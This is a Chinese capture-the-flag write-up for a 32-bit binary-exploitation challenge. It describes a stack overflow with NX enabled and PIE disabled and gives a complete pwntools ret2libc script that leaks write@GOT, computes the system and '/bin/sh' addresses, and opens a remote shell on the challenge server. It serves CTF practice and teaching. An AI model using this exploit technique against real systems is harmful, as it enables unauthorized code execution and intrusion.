[buuctf] 铁人三项(第五赛区)_2018_rop 1
首先查看一下文件的基础信息

可以看到是个32位的程序,保护措施就开了个NX
在用32位的ida打开看看文件具体干了什么

发现这么看main中就是主要调用了两个函数,那就具体看看这两个函数干了什么,其实看函数名就发现第二个函数肯定存在问题,得好好看看

点开发现这里存在溢出,想到可以溢出修改返回地址
在看看字符串,有没有想要的‘/bin/sh’

啥都没有,也没找到system
那么看到PIE的保护也没开那就是libc泄露了
写成下面的攻击脚本
点击查看代码
from pwn import*
p=remote('node5.buuoj.cn',29033)
elf=ELF('./rop_2018')
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x080484c6
payload=b'a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x20)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
system=write_add-0xa89e0
binsh=write_add+0x961df
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()
也是看了很久这篇解题思路
https://blog.csdn.net/qq_51032807/article/details/114808339?spm=1001.2014.3001.5501

浙公网安备 33010602011771号